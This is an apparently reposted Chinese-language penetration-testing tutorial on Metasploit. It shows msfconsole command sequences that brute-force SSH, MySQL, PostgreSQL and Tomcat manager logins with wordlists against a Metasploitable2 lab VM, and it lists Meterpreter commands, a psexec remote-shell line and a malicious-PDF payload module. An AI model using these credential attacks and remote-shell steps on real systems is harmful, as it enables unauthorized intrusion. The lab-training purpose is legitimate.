Kali MSF漏洞利用


一、前言

  漏洞利用是獲得系統控制權限的重要途經。用戶從目標系統中找到容易攻擊的漏洞,然后利用該漏洞獲取權限,從而實現對目標系統的控制。  

 

二、Metasploitable

  Metasploitable是一款基於Ubuntu Linux的操作系統。該系統是一個虛擬機文件,從https://sourceforge.net/projects/metasploitable/files/latest/download 網站獲取最新版,下載解壓之后可以直接使用,無需安裝。Metasploitable就是用來作為攻擊用的靶機,所以它存在大量為打補丁漏洞,並且開放了無數高危端口。

 

三、Metasploit基礎

  Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,並管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發,代碼審計,Web應用程序掃描,社會工程。

 

3.1  Metasplot終端(MSF console)

  MSF終端(msf console)是目前Metasploit框架最為流行的用戶接口,而且也是非常靈活的。因為MSF終端是Metasploit框架中最靈活、功能最豐富及支持最好的工具之一。msf console主要用戶管理Metasploit數據庫,管理繪畫、配置並啟動Metasploit模塊。本質上來說,就是為了利用漏洞,msf console將獲取用戶連接到主機的信息,以至於用戶能啟動滲透攻擊目標系統。

  當使用Metasploit控制台時,將使用一些通用的命令,如下所示。

help: 該命令允許用戶查看執行命令的幫助信息。
user module: 該命令允許用戶加載選擇的模塊。
set optionname module: 該命令為模塊設置不同的選項。
run: 該命令用來啟動一個非滲透攻擊模塊
search module: 該命令用於搜索一個特定的模塊。
exit: 退出msf console

(1) 在終端啟動msf console,執行命令如下所示:

root@kali:~/桌面# msfconsole 

 

 輸出的信息出現msf5>提示符,表示登錄msf console成功。此時就可以允許其他命令了。

(2)使用search命令搜索所有有效的模塊。

msf5 > search ssh_login 

執行以上命令后,輸出信息如下所示:

 

 (3)使用SSH口令爆破模塊

msf5 > use auxiliary/scanner/ssh/ssh_login     # 等同於 use 0    0表示前面的編號 

 

 (4)查看模塊有效選項,執行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > show options 

 

 (5)設置有效參數,執行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.244.132
rhosts => 192.168.244.132
msf5 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/sshpass.txt
pass_file => /root/sshpass.txt

 

 (6)啟動模塊,執行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > run

 

 (7)查看session,執行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

 

 (3) 連接session,執行命令如下所示:

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1

如下圖所示,已成功連接至目標主機

3.2 Meterpreter 

  Meterpreter通常作為利用漏洞后的攻擊載荷所使用,攻擊載荷在出發漏洞后能返回給用戶一個控制通道。當使用msfconsole獲取到目標系統上的一個Meterpreter連接時,用戶必須使用Meterpreter傳遞攻擊載荷。msfconsole用於管理用戶的會話,而Meterpreter則是攻擊載荷和滲透攻擊交互。

  Meterpreter常見的命令如下所示:

help: 查看幫助信息
background: 允許用戶在后台Meterpreter會話。
download:允許用戶從入侵主機上下載文件。
upload:允許用戶上傳文件到入侵主機。
execute:允許用戶在入侵主機上執行命令。
shell:允許用戶在入侵主機上(僅是Windows主機)運行Windows shell命令。
sessions -i: 允許用戶切換會話

 四、滲透攻擊應用

4.1 滲透攻擊MySQL數據庫

目標靶機使用的Metasploitable2

msf5 > search mysql_login
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/mysql/mysql_login) > set user_file /root/username.txt
user_file => /root/username.txt
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/password.txt
pass_file => root/password.txt
msf5 auxiliary(scanner/mysql/mysql_login) > exploit

 

 輸出的信息是滲透攻擊的一個過程,嘗試使用指定的用戶名/密碼文件中的用戶名和密碼連接MySQL服務器。在滲透攻擊過程中,Metasploit會嘗試輸入用戶名和密碼文件包含的用戶名和密碼組合。

4.2 滲透攻擊PostgreSQL數據庫服務

目標靶機使用的Metasploitable2

msf5 > search postgres_login
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
msf5 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
msf5 auxiliary(scanner/postgres/postgres_login) > exploit

 

 4.3 滲透攻擊Tomcat服務

  Tomcat默認存在一個管理后台,默認的管理地址是http://IP:端口/manager/html。通過此后台,可以在不重啟Tomcat服務的情況西安方便地部署、啟動、停止或卸載Web應用。但是如果配置不當的話就存在很大的安全隱患。攻擊者利用這個漏洞,可以非常快速、輕松地入侵一台服務器。

目標靶機使用的Metasploitable2

msf5 > search tomcat_mgr_login
msf5 > use auxiliary/scanner/http/tomcat_mgr_login
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180
rport => 8180
msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit

 

 4.4 滲透攻擊Telnet服務

msf5 > search telnet_version
msf5 auxiliary(scanner/http/tomcat_mgr_login) > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/telnet/telnet_version) > exploit

 

 4.5 滲透攻擊Samba服務

  Samba是實現SMB(Server Messages Block)協議、跨平台進行文件共享和打印共享服務的程序。Samba服務對應的端口有139和445等,只要開啟這些端口后,主機就可能存在Samba服務遠程溢出漏洞。

      目標靶機使用的Metasploitable2

msf5 > search smb_version
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/smb/smb_version) > exploit

   假如通過SMB爆破出目標主機的用戶及密碼、目標主機又沒有開啟RDP時,可以使用psexec.exe \\目標主機地址 -l administrator -p 1234567 cmd.exe

 

4.6 PDF文件攻擊

  PDF是一種文件格式,該文件的使用比較廣泛,並且容易傳輸。通常工作中,用戶都是從工作程序中打開了一個合法的PDF文檔。當打開該文檔時,該用戶的主機就可能被攻擊。Metasploit提供了一個滲透攻擊模塊,可以創建一個攻擊載荷,通過傳遞該攻擊載荷對目標系統進行滲透攻擊。

msf5 auxiliary(scanner/smb/smb_version) > search adobe_pdf_embedded_exe

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM